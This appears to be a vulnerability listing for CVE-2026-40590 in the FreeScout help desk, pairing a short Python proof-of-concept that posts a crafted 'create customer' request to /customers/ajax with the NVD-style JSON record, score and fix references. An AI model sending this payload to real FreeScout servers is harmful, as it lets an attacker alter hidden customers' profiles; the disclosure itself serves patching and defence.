CVE-2026-40590

import requests url = "https://target.com/customers/ajax" # Payload to create/update a customer with an email belonging to a hidden user data = { "action": "create", "email": "[email protected]", # Email of an existing hidden customer "first_name": "Attacker", "last_name": "Controlled" } response = requests.post(url, data=data) if response.status_code == 200: print("[+] Potential exploit successful, check response.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-40590", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:56.803", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.214, the Change Customer modal exposes a “Create a new customer” flow via POST /customers/ajax with action=create. Under limited visibility, the endpoint drops unique-email validation. If the supplied email already belongs to a hidden customer, Customer::create() reuses that hidden customer object and fills empty profile fields from attacker-controlled input. Version 1.8.214 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/b3d7611e6e173ed8a5e525b791deb6b32cf1ce62", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.214", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-wjw4-8xg6-342m", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-wjw4-8xg6-342m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}